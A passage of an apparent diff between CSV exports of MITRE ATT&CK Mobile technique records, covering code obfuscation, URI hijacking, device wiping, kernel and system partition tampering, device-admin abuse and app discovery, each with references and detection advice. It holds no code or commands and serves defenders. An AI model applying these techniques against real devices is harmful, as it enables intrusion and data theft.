'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html', 'external_id': 'APP-21'}, {'source_name': 'Rastogi', 'description': 'Vaibhav Rastogi, Yan Chen, and Xuxian Jiang. (2013, May). DroidChameleon: Evaluating Android Anti-malware against Transformation Attacks. Retrieved December 9, 2016.', 'url': 'http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf'}, {'source_name': 'Zhou', 'description': 'Yajin Zhou and Xuxian Jiang. (2012, May). Dissecting Android Malware: Characterization and Evolution. Retrieved December 9, 2016.', 'url': 'http://ieeexplore.ieee.org/document/6234407'}, {'source_name': 'TrendMicro-Obad', 'description': 'Veo Zhang. (2013, June 13). Cybercriminals Improve Android Malware Stealth Routines with OBAD. Retrieved December 9, 2016.', 'url': 'http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/'}, {'source_name': 'Xiao-iOS', 'description': 'Claud Xiao. (2016, July). Fruit vs Zombies: Defeat Non-jailbroken iOS Malware. Retrieved December 9, 2016.', 'url': 'http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao'}]",2.0,attack-pattern,attack-pattern--d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:32.328Z,2019-09-23T13:26:01.263Z,Obfuscated Files or Information,"An app could contain malicious code in obfuscated or encrypted form, then deobfuscate or decrypt the code at runtime to evade many app vetting techniques.(Citation: Rastogi) (Citation: Zhou) (Citation: TrendMicro-Obad) (Citation: Xiao-iOS)",['defense-evasion'],https://attack.mitre.org/techniques/T1406,mitre-mobile-attack,T1406,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Malicious obfuscation of files or information can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversary behavior.",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1009 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1416', 'external_id': 'T1416'}, {'source_name': 'Trend Micro iOS URL Hijacking', 'description': 'L. Wu, Y. Zhou, M. Li. (2019, July 12). iOS URL Scheme Susceptible to Hijacking. Retrieved September 11, 2020.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/'}, {'source_name': 'IETF-PKCE', 'description': 'N. Sakimura, J. Bradley, and N. Agarwal. (2015, September). IETF RFC 7636: Proof Key for Code Exchange by OAuth Public Clients. Retrieved December 21, 2016.', 'url': 'https://tools.ietf.org/html/rfc7636'}]",2.0,attack-pattern,attack-pattern--77e30eee-fd48-40b4-99ec-73e97c158b58,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:32.008Z,2020-10-01T12:42:21.628Z,URI Hijacking,"Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data. -Applications regularly register URIs with the operating system to act as a response handler for various actions, such as logging into an app using an external account via single sign-on. This allows redirections to that specific URI to be intercepted by the application. If a malicious application were to register for a URI that was already in use by a genuine application, the malicious application may be able to intercept data intended for the genuine application or perform a phishing attack against the genuine application. Intercepted data may include OAuth authorization codes or tokens that could be used by the malicious application to gain access to resources.(Citation: Trend Micro iOS URL Hijacking)(Citation: IETF-PKCE)",attack-pattern--77e30eee-fd48-40b4-99ec-73e97c158b58,attack-pattern,['credential-access'],2020-10-01T12:42:21.628Z,2017-10-25T14:48:32.008Z,"On Android, users may be presented with a popup to select the appropriate application to open the URI in. If the user sees an application they do not recognize, they can remove it.",,"['Leo Zhang, Trend Micro', 'Steven Du, Trend Micro']",,,"['Android', 'iOS']",,,,,,,,,MOB-T1019,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1447', 'external_id': 'T1447'}, {'source_name': 'Android DevicePolicyManager 2019', 'url': 'https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html', 'description': 'Android Developers. (n.d.). DevicePolicyManager. Retrieved September 22, 2019.'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]",2.1,False,https://attack.mitre.org/techniques/T1447,mitre-mobile-attack,T1447,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Delete Device Data,"Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location. (Citation: Android DevicePolicyManager 2019) +Applications regularly register URIs with the operating system to act as a response handler for various actions, such as logging into an app using an external account via single sign-on. This allows redirections to that specific URI to be intercepted by the application. If a malicious application were to register for a URI that was already in use by a genuine application, the malicious application may be able to intercept data intended for the genuine application or perform a phishing attack against the genuine application. Intercepted data may include OAuth authorization codes or tokens that could be used by the malicious application to gain access to resources.(Citation: Trend Micro iOS URL Hijacking)(Citation: IETF-PKCE)",['credential-access'],https://attack.mitre.org/techniques/T1416,mitre-mobile-attack,T1416,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Leo Zhang, Trend Micro', 'Steven Du, Trend Micro']",,,"On Android, users may be presented with a popup to select the appropriate application to open the URI in. If the user sees an application they do not recognize, they can remove it.",False,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1019 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1447', 'external_id': 'T1447'}, {'source_name': 'Android DevicePolicyManager 2019', 'description': 'Android Developers. (n.d.). DevicePolicyManager. Retrieved September 22, 2019.', 'url': 'https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html'}]",2.1,attack-pattern,attack-pattern--8e27551a-5080-4148-a584-c64348212e4f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:31.694Z,2020-10-01T12:52:58.150Z,Delete Device Data,"Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location. (Citation: Android DevicePolicyManager 2019) -Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The impact file deletion will have depends on the type of data as well as the goals and objectives of the adversary, but can include deleting update files to evade detection or deleting attacker-specified files for impact.",attack-pattern--8e27551a-5080-4148-a584-c64348212e4f,attack-pattern,"['impact', 'defense-evasion']",2020-10-01T12:52:58.150Z,2017-10-25T14:48:31.694Z,"Mobile security products can detect which applications can request device administrator permissions. Users can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing.",,,,,['Android'],,,,,,,,,MOB-T1050,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1398', 'external_id': 'T1398'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html', 'external_id': 'APP-26'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html', 'external_id': 'APP-27'}, {'source_name': 'Samsung-KnoxWarrantyBit', 'description': 'Samsung. (n.d.). What is a Knox Warranty Bit and how is it triggered?. Retrieved December 21, 2016.', 'url': 'https://www2.samsungknox.com/en/faq/what-knox-warranty-bit-and-how-it-triggered'}, {'source_name': 'Apple-iOSSecurityGuide', 'description': 'Apple. (2016, May). iOS Security. Retrieved December 21, 2016.', 'url': 'https://www.apple.com/business/docs/iOS_Security_Guide.pdf'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}]",1.0,,https://attack.mitre.org/techniques/T1398,mitre-mobile-attack,T1398,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Modify OS Kernel or Boot Partition,"If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality. +Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The impact file deletion will have depends on the type of data as well as the goals and objectives of the adversary, but can include deleting update files to evade detection or deleting attacker-specified files for impact.","['impact', 'defense-evasion']",https://attack.mitre.org/techniques/T1447,mitre-mobile-attack,T1447,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Mobile security products can detect which applications can request device administrator permissions. Users can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing.",False,,['Android'],,,,,,,,['Post-Adversary Device Access'],MOB-T1050 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1398', 'external_id': 'T1398'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html', 'external_id': 'APP-26'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html', 'external_id': 'APP-27'}, {'source_name': 'Samsung-KnoxWarrantyBit', 'description': 'Samsung. (n.d.). What is a Knox Warranty Bit and how is it triggered?. Retrieved December 21, 2016.', 'url': 'https://www2.samsungknox.com/en/faq/what-knox-warranty-bit-and-how-it-triggered'}, {'source_name': 'Apple-iOSSecurityGuide', 'description': 'Apple. (2016, May). iOS Security. Retrieved December 21, 2016.', 'url': 'https://www.apple.com/business/docs/iOS_Security_Guide.pdf'}]",1.0,attack-pattern,attack-pattern--46d818a5-67fa-4585-a7fc-ecf15376c8d5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:31.294Z,2018-10-17T00:14:20.652Z,Modify OS Kernel or Boot Partition,"If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality. Many Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code. -If the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.",attack-pattern--46d818a5-67fa-4585-a7fc-ecf15376c8d5,attack-pattern,"['defense-evasion', 'persistence']",2018-10-17T00:14:20.652Z,2017-10-25T14:48:31.294Z,"The Android SafetyNet API's remote attestation capability could potentially be used to identify and respond to compromised devices. Samsung KNOX also provides a remote attestation capability on supported Samsung Android devices. +If the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.","['defense-evasion', 'persistence']",https://attack.mitre.org/techniques/T1398,mitre-mobile-attack,T1398,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"The Android SafetyNet API's remote attestation capability could potentially be used to identify and respond to compromised devices. Samsung KNOX also provides a remote attestation capability on supported Samsung Android devices. Samsung KNOX devices include a non-reversible Knox warranty bit fuse that is triggered ""if a non-Knox kernel has been loaded on the device"" (Citation: Samsung-KnoxWarrantyBit). If triggered, enterprise Knox container services will no longer be available on the device. As described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected. -Many enterprise applications perform their own checks to detect and respond to compromised devices. These checks are not foolproof but can detect common signs of compromise.",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1001,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1400', 'external_id': 'T1400'}, {'external_id': 'APP-27', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html'}, {'url': 'https://source.android.com/security/verifiedboot/', 'description': 'Android. (n.d.). Verified Boot. Retrieved December 21, 2016.', 'source_name': 'Android-VerifiedBoot'}, {'url': 'https://www.apple.com/business/docs/iOS_Security_Guide.pdf', 'description': 'Apple. (2016, May). iOS Security. Retrieved December 21, 2016.', 'source_name': 'Apple-iOSSecurityGuide'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]",1.2,,https://attack.mitre.org/techniques/T1400,mitre-mobile-attack,T1400,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Modify System Partition,"If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user. +Many enterprise applications perform their own checks to detect and respond to compromised devices. These checks are not foolproof but can detect common signs of compromise.",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1001 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1400', 'external_id': 'T1400'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html', 'external_id': 'APP-27'}, {'source_name': 'Android-VerifiedBoot', 'description': 'Android. (n.d.). Verified Boot. Retrieved December 21, 2016.', 'url': 'https://source.android.com/security/verifiedboot/'}, {'source_name': 'Apple-iOSSecurityGuide', 'description': 'Apple. (2016, May). iOS Security. Retrieved December 21, 2016.', 'url': 'https://www.apple.com/business/docs/iOS_Security_Guide.pdf'}]",1.2,attack-pattern,attack-pattern--c5089859-b21f-40a3-8be4-63e381b8b1c0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:30.890Z,2019-09-04T13:35:57.549Z,Modify System Partition,"If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user. -Many Android devices provide the ability to unlock the bootloader for development purposes. An unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.",attack-pattern--c5089859-b21f-40a3-8be4-63e381b8b1c0,attack-pattern,"['defense-evasion', 'persistence', 'impact']",2019-09-04T13:35:57.549Z,2017-10-25T14:48:30.890Z,"Android devices with the Verified Boot capability (Citation: Android-VerifiedBoot) perform cryptographic checks of the integrity of the system partition. +Many Android devices provide the ability to unlock the bootloader for development purposes. An unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.","['defense-evasion', 'persistence', 'impact']",https://attack.mitre.org/techniques/T1400,mitre-mobile-attack,T1400,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Android devices with the Verified Boot capability (Citation: Android-VerifiedBoot) perform cryptographic checks of the integrity of the system partition. The Android SafetyNet API's remote attestation capability could potentially be used to identify and respond to compromised devices. Samsung KNOX also provides a remote attestation capability on supported Samsung Android devices. -iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected.(Citation: Apple-iOSSecurityGuide)",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1003,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1402', 'url': 'https://attack.mitre.org/techniques/T1402'}, {'source_name': 'Android Changes to System Broadcasts', 'url': 'https://developer.android.com/guide/components/broadcasts#changes-system-broadcasts', 'description': 'Google. (2019, December 27). Broadcasts Overview. Retrieved January 27, 2020.'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'execution'}]",2.0,False,https://attack.mitre.org/techniques/T1402,mitre-mobile-attack,T1402,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Broadcast Receivers,"An intent is a message passed between Android application or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received. +iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected.(Citation: Apple-iOSSecurityGuide)",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1003 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1402', 'external_id': 'T1402'}, {'source_name': 'Android Changes to System Broadcasts', 'description': 'Google. (2019, December 27). Broadcasts Overview. Retrieved January 27, 2020.', 'url': 'https://developer.android.com/guide/components/broadcasts#changes-system-broadcasts'}]",2.0,attack-pattern,attack-pattern--bd4d32f5-eed4-4018-a649-40b229dd1d69,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:30.127Z,2020-03-27T15:28:03.858Z,Broadcast Receivers,"An intent is a message passed between Android application or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received. Further, malicious applications can register for intents broadcasted by other applications in addition to the Android system itself. This allows the malware to respond based on actions in other applications. This behavior typically indicates a more intimate knowledge, or potentially the targeting of specific devices, users, or applications. -In Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app.(Citation: Android Changes to System Broadcasts)",attack-pattern--bd4d32f5-eed4-4018-a649-40b229dd1d69,attack-pattern,"['persistence', 'execution']",2020-03-27T15:28:03.858Z,2017-10-25T14:48:30.127Z,Broadcast intent receivers are part of standard OS-level APIs and are therefore typically undetectable to the end user.,,"['Alex Hinchliffe, Palo Alto Networks']",,,['Android'],,,,,,,,,MOB-T1005,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1401', 'url': 'https://attack.mitre.org/techniques/T1401'}, {'external_id': 'APP-22', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html'}, {'source_name': 'Android DeviceAdminInfo', 'url': 'https://developer.android.com/reference/android/app/admin/DeviceAdminInfo', 'description': 'Google. (n.d.). DeviceAdminInfo. Retrieved November 20, 2020.'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'privilege-escalation'}]",2.0,False,https://attack.mitre.org/techniques/T1401,mitre-mobile-attack,T1401,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Device Administrator Permissions,"Adversaries may request device administrator permissions to perform malicious actions. +In Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app.(Citation: Android Changes to System Broadcasts)","['persistence', 'execution']",https://attack.mitre.org/techniques/T1402,mitre-mobile-attack,T1402,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Alex Hinchliffe, Palo Alto Networks']",,,Broadcast intent receivers are part of standard OS-level APIs and are therefore typically undetectable to the end user.,False,,['Android'],,,,,,,,['Post-Adversary Device Access'],MOB-T1005 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1401', 'external_id': 'T1401'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html', 'external_id': 'APP-22'}, {'source_name': 'Android DeviceAdminInfo', 'description': 'Google. (n.d.). DeviceAdminInfo. Retrieved November 20, 2020.', 'url': 'https://developer.android.com/reference/android/app/admin/DeviceAdminInfo'}]",2.0,attack-pattern,attack-pattern--82f04b1e-5371-4a6f-be06-411f0f43b483,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:29.774Z,2020-11-24T13:40:08.343Z,Device Administrator Permissions,"Adversaries may request device administrator permissions to perform malicious actions. By abusing the device administration API, adversaries can perform several nefarious actions, such as resetting the device’s password for [Device Lockout](https://attack.mitre.org/techniques/T1446), factory resetting the device to [Delete Device Data](https://attack.mitre.org/techniques/T1447) and any traces of the malware, disabling all of the device’s cameras, or make it more difficult to uninstall the app.(Citation: Android DeviceAdminInfo) -Device administrators must be approved by the user at runtime, with a system popup showing which of the actions have been requested by the app. In conjunction with other techniques, such as [Input Injection](https://attack.mitre.org/techniques/T1516), an app can programmatically grant itself administrator permissions without any user input.",attack-pattern--82f04b1e-5371-4a6f-be06-411f0f43b483,attack-pattern,['privilege-escalation'],2020-11-24T13:40:08.343Z,2017-10-25T14:48:29.774Z,Users can see when an app requests device administrator permissions. Users can also view which apps have device administrator permissions in the settings menu.,,,,,['Android'],,,,,,,,,MOB-T1004,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1404', 'external_id': 'T1404'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html', 'external_id': 'APP-26'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'privilege-escalation'}]",1.0,,https://attack.mitre.org/techniques/T1404,mitre-mobile-attack,T1404,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exploit OS Vulnerability,A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.,attack-pattern--351c0927-2fc1-4a2c-ad84-cbbee7eb8172,attack-pattern,['privilege-escalation'],2018-10-17T00:14:20.652Z,2017-10-25T14:48:29.405Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1007,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1403', 'external_id': 'T1403'}, {'url': 'https://www.blackhat.com/docs/asia-15/materials/asia-15-Sabanal-Hiding-Behind-ART-wp.pdf', 'description': 'Paul Sabanal. (2015). Hiding Behind ART. Retrieved December 21, 2016.', 'source_name': 'Sabanal-ART'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}]",1.1,,https://attack.mitre.org/techniques/T1403,mitre-mobile-attack,T1403,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Modify Cached Executable Code,"ART (the Android Runtime) compiles optimized code on the device itself to improve performance. An adversary may be able to use escalated privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.(Citation: Sabanal-ART)",attack-pattern--88932a8c-3a17-406f-9431-1da3ff19f6d6,attack-pattern,['persistence'],2019-10-09T19:39:32.872Z,2017-10-25T14:48:29.092Z,"Modifications to cached executable code can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversary behavior.",,,,,['Android'],,,,,,,,,MOB-T1006,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1418', 'external_id': 'T1418'}, {'source_name': 'Android-PackageManager', 'description': 'Android. (n.d.). PackageManager. Retrieved December 21, 2016.', 'url': 'https://developer.android.com/reference/android/content/pm/PackageManager.html'}, {'source_name': 'Kurtz-MaliciousiOSApps', 'description': 'Andreas Kurtz. (2014, September 18). Malicious iOS Apps. Retrieved December 21, 2016.', 'url': 'https://andreas-kurtz.de/2014/09/malicious-ios-apps/'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]",1.0,,https://attack.mitre.org/techniques/T1418,mitre-mobile-attack,T1418,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Application Discovery,"Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary's risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target. +Device administrators must be approved by the user at runtime, with a system popup showing which of the actions have been requested by the app. In conjunction with other techniques, such as [Input Injection](https://attack.mitre.org/techniques/T1516), an app can programmatically grant itself administrator permissions without any user input.",['privilege-escalation'],https://attack.mitre.org/techniques/T1401,mitre-mobile-attack,T1401,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,Users can see when an app requests device administrator permissions. Users can also view which apps have device administrator permissions in the settings menu.,False,,['Android'],,,,,,,,['Post-Adversary Device Access'],MOB-T1004 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1404', 'external_id': 'T1404'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html', 'external_id': 'APP-26'}]",1.0,attack-pattern,attack-pattern--351c0927-2fc1-4a2c-ad84-cbbee7eb8172,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:29.405Z,2018-10-17T00:14:20.652Z,Exploit OS Vulnerability,A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.,['privilege-escalation'],https://attack.mitre.org/techniques/T1404,mitre-mobile-attack,T1404,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1007 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1403', 'external_id': 'T1403'}, {'source_name': 'Sabanal-ART', 'description': 'Paul Sabanal. (2015). Hiding Behind ART. Retrieved December 21, 2016.', 'url': 'https://www.blackhat.com/docs/asia-15/materials/asia-15-Sabanal-Hiding-Behind-ART-wp.pdf'}]",1.1,attack-pattern,attack-pattern--88932a8c-3a17-406f-9431-1da3ff19f6d6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:29.092Z,2019-10-09T19:39:32.872Z,Modify Cached Executable Code,"ART (the Android Runtime) compiles optimized code on the device itself to improve performance. An adversary may be able to use escalated privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.(Citation: Sabanal-ART)",['persistence'],https://attack.mitre.org/techniques/T1403,mitre-mobile-attack,T1403,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Modifications to cached executable code can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversary behavior.",,,['Android'],,,,,,,,['Post-Adversary Device Access'],MOB-T1006 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1418', 'external_id': 'T1418'}, {'source_name': 'Android-PackageManager', 'description': 'Android. (n.d.). PackageManager. Retrieved December 21, 2016.', 'url': 'https://developer.android.com/reference/android/content/pm/PackageManager.html'}, {'source_name': 'Kurtz-MaliciousiOSApps', 'description': 'Andreas Kurtz. (2014, September 18). Malicious iOS Apps. Retrieved December 21, 2016.', 'url': 'https://andreas-kurtz.de/2014/09/malicious-ios-apps/'}]",1.0,attack-pattern,attack-pattern--198ce408-1470-45ee-b47f-7056050d4fc2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:28.067Z,2018-10-17T00:14:20.652Z,Application Discovery,"Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary's risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target. On Android, applications can use methods in the PackageManager class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the pm command line tool. -On iOS, apps can use private API calls to obtain a list of other apps installed on the device. (Citation: Kurtz-MaliciousiOSApps) However, use of private API calls will likely prevent the application from being distributed through Apple's App Store.",attack-pattern--198ce408-1470-45ee-b47f-7056050d4fc2,attack-pattern,"['defense-evasion', 'discovery']",2018-10-17T00:14:20.652Z,2017-10-25T14:48:28.067Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1021,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 